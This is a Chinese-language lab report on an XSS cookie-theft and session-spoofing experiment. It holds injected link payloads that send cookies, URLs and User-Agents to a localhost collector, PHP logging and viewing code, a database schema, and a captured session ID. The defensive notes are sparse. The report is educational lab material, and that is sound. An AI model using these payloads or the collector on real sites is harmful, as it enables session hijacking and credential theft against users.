XSS跨站攻击与Cookie验证欺骗实验
一、实验目的
- 研究并实践XSS攻击的原理与实现方式。
- 实现通过XSS攻击获取网页地址、User-Agent及Cookie的方法。
- 提交实验代码与报告,验证攻击与防护效果。
二、XSS跨站攻击实现细节
1. 基本原理
XSS是一种通过注入恶意代码在用户浏览器中执行非授权操作的攻击方式。主要分为:
- 持久型XSS:恶意代码存储在服务器,能长期触发。
- 非持久型XSS:恶意代码不存储,依赖特定URL。
2. 利用XSS攻击Cookie验证
通过XSS脚本,将目标用户的Cookie发送至攻击者控制的服务器,绕过正常验证实现欺骗。
代码示例:
在留言表单中插入:
1
| <a href="#" onclick="document.location='http://localhost/getsession/savesession.php?cookie='+escape(document.cookie);">Click Me</a>
|
三、实现网页地址、User-Agent和Cookie获取
1. 攻击代码
在留言页面注入如下代码:
1 2
| <a href="#" onclick="document.location='http://localhost/getsession/savelog.php?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(document.location.href) + '&userAgent=' + encodeURIComponent(navigator.userAgent);">Click Me</a>
|
2. 数据记录服务端代码
创建一个savelog.php
文件,记录获取的数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php include_once "con_database.php";
$cookie = isset($_GET['cookie']) ? $_GET['cookie'] : "No Cookie"; $url = isset($_GET['url']) ? $_GET['url'] : "No URL"; $userAgent = isset($_GET['userAgent']) ? $_GET['userAgent'] : "No User-Agent";
file_put_contents("debug.log", "Cookie: $cookie\nURL: $url\nUser-Agent: $userAgent\n", FILE_APPEND);
if ($cookie && $url && $userAgent) { $sql = "INSERT INTO logs (sessionid, url, userAgent) VALUES (?, ?, ?)"; $stmt = $con->prepare($sql); if ($stmt) { $stmt->bind_param("sss", $cookie, $url, $userAgent); if ($stmt->execute()) { echo "Data logged successfully!"; } else { echo "Execution failed: " . $stmt->error; } $stmt->close(); } else { echo "Statement preparation failed: " . $con->error; } } else { echo "Invalid data received. Cookie: $cookie, URL: $url, User-Agent: $userAgent"; }
mysqli_close($con); ?>
|
showlog.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php include_once "con_database.php";
$sql = 'SELECT * FROM logs'; $rs = mysqli_query($con, $sql);
if (!$rs) { die("Query failed: " . mysqli_error($con)); }
echo "<table border='1'>"; echo "<tr><th>ID</th><th>Cookie</th><th>URL</th><th>User-Agent</th></tr>";
while ($row = mysqli_fetch_assoc($rs)) { echo "<tr>"; echo "<td>" . htmlentities($row['id']) . "</td>"; echo "<td>" . htmlentities($row['sessionid']) . "</td>"; echo "<td>" . htmlentities($row['url']) . "</td>"; echo "<td>" . htmlentities($row['userAgent']) . "</td>"; echo "</tr>"; }
echo "</table>";
if ($rs) { mysqli_free_result($rs); }
mysqli_close($con); ?>
|
数据库
1 2 3 4 5 6 7 8 9 10 11 12 13
| CREATE DATABASE IF NOT EXISTS lab;
USE lab;
CREATE TABLE IF NOT EXISTS logs ( id INT NOT NULL AUTO_INCREMENT, sessionid VARCHAR(256) NOT NULL, url VARCHAR(512), userAgent VARCHAR(512), PRIMARY KEY (id) );
|
四、实验结果
1. 攻击结果
- 成功窃取网页地址、User-Agent和Cookie,并在服务端
showlogs.php
中记录:
1 2 3
| Session ID PHPSESSID=6b5m2e67tdi26l28hjjcq093ff URL http: User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
|
2. 验证Cookie欺骗
将SessionID设置为被窃取的值,访问目标页面,成功伪装为受害者。
3. 防护措施
五、总结
- 攻击实现:
- XSS攻击能够轻松窃取用户信息并实现会话劫持。
- 利用脚本,获取地址、User-Agent和Cookie等敏感信息。
- 防护措施:
- 使用HttpOnly属性保护Cookie。
- 对用户输入进行严格的HTML和JavaScript转义。
- 建议: